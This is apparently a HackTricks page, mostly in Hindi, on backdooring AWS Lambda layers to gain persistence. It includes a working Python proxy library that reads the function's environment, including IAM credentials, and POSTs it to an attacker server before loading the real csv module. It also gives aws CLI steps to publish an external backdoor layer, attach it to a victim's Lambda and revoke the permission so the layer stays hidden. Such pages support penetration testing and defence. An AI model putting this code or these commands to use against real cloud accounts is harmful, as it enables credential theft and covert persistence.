AWS - Lambda Layers Persistence

हैकट्रिक्स का समर्थन करें

Lambda Layers

एक Lambda लेयर एक .zip फ़ाइल आर्काइव है जिसमें अतिरिक्त कोड या अन्य सामग्री हो सकती है। एक लेयर में पुस्तकालयें, कस्टम रनटाइम, डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।

एक फ़ंक्शन में पांच लेयर्स शामिल किए जा सकते हैं। जब आप एक लेयर को एक फ़ंक्शन में शामिल करते हैं, तो सामग्री को क्रियान्वयन परिर्देशिका में /opt तक निकाल दिया जाता है।

डिफ़ॉल्ट रूप से, आपके द्वारा बनाए गए लेयर्स आपके AWS खाते के लिए निजी होते हैं। आप एक लेयर को अन्य खातों के साथ साझा करने या लेयर को सार्वजनिक बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक ऐसी लेयर का उपभोग करते हैं जिसे किसी अलग खाता ने प्रकाशित किया है, तो आपके फ़ंक्शन लेयर संस्करण का उपयोग कर सकते हैं जब तक उसे हटा नहीं दिया गया है, या जब तक आपकी लेयर तक पहुँचने की अनुमति नहीं वापस ली गई है। हालांकि, आप नए फ़ंक्शन नहीं बना सकते या हटाए गए लेयर संस्करण का उपयोग करके फ़ंक्शन को अपडेट नहीं कर सकते।

कंटेनर छवि के रूप में डिप्लॉय किए गए फ़ंक्शन लेयर का उपयोग नहीं करते। इसके बजाय, जब आप छवि बनाते हैं, तो आप अपने पसंदीदा रनटाइम, पुस्तकालयें, और अन्य आवश्यकताएँ छवि में पैकेज करते हैं।

Python लोड पथ

Python द्वारा लैम्बडा में उपयोग किया जाने वाला लोड पथ निम्नलिखित है:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

दूसरे और तीसरे स्थानों की जांच करें जहां लैम्बडा लेयर अपनी फ़ाइलें अनज़िप करती हैं: /opt/python/lib/python3.9/site-packages और /opt/python

यदि किसी हमलावर ने एक प्रयोग किया लैम्बडा लेयर को बैकडोर करने का या एक जोड़ दिया जो सामान्य पुस्तकालय लोड होने पर एकाधिक कोड का निष्पादन करेगा, तो उसे प्रत्येक लैम्बडा आवाहन के साथ दुर्भाग्यपूर्ण कोड निष्पादित करने की क्षमता होगी।

इसलिए, आवश्यकताएँ हैं:

  • जांचें पुस्तकालयों को जो शिकार को लोड किया गया है

  • एक प्रॉक्सी पुस्तकालय के साथ लैम्बडा लेयर बनाएं जो कस्टम कोड निष्पादित करेगा और मूल पुस्तकालय लोड करेगा

पूर्व-लोड की गई पुस्तकालयें

इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालयें पहले से ही लोड हो जाती हैं पाइथन रनटाइम में जब आपका कोड निष्पादित होता है। मैं os या sys जैसी चीजें ढूंढ रहा था, लेकिन हालांकि json पुस्तकालय भी लोड हो गई थी। इस स्थायित्व तकनीक का दुरुपयोग करने के लिए, कोड को एक नया पुस्तकालय लोड करने की आवश्यकता है जो कोड निष्पादित होने पर लोड नहीं होता है।

इस तरह के एक पायथन कोड के साथ, पॉइथन रनटाइम के अंदर पूर्व-लोड की गई पुस्तकालयों की सूची प्राप्त करना संभव है:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

और यह है सूची (जांचें कि os या json जैसी लाइब्रेरी पहले से ही उपस्थित हैं)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

और यह है पुस्तकालयों की सूची जो लैम्बडा में डिफ़ॉल्ट रूप से स्थापित हैं: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

लैम्बडा लेयर बैकडोरिंग

इस उदाहरण में यह मान लेते हैं कि लक्षित कोड csv को आयात कर रहा है। हम csv पुस्तकालय के आयात को बैकडोर करने जा रहे हैं

इसके लिए, हमें csv नामक निर्देशिका बनानी होगी जिसमें फ़ाइल __init__.py होगी और इसे एक पथ में बनाया जाएगा जो लैम्बडा द्वारा लोड किया जाता है: /opt/python/lib/python3.9/site-packages फिर, जब लैम्बडा को क्रियान्वित किया जाता है और csv को लोड करने का प्रयास किया जाता है, हमारी __init__.py फ़ाइल लोड की जाएगी और क्रियान्वित की जाएगी। इस फ़ाइल में निम्नलिखित होना चाहिए:

  • हमारे पेलोड को क्रियान्वित करें

  • मूल csv पुस्तकालय को लोड करें

हम दोनों को कर सकते हैं:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Then, create a zip with this code in the path python/lib/python3.9/site-packages/__init__.py and add it as a lambda layer.

You can find this code in https://github.com/carlospolop/LambdaLayerBackdoor

The integrated payload will send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container (change of code or cold lambda), but other techniques such as the following could also be integrated:

AWS - Steal Lambda Requests

External Layers

Note that it's possible to use lambda layers from external accounts. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions. Also note that the max number of layers a lambda can have is 5.

Therefore, in order to improve the versatility of this technique an attacker could:

  • Backdoor an existing layer of the user (nothing is external)

  • Create a layer in his account, give the victim account access to use the layer, configure the layer in victims Lambda and remove the permission.

  • The Lambda will still be able to use the layer and the victim won't have any easy way to download the layers code (apart from getting a rev shell inside the lambda)

  • The victim won't see external layers used with aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
हैकट्रिक्स का समर्थन करें

Last updated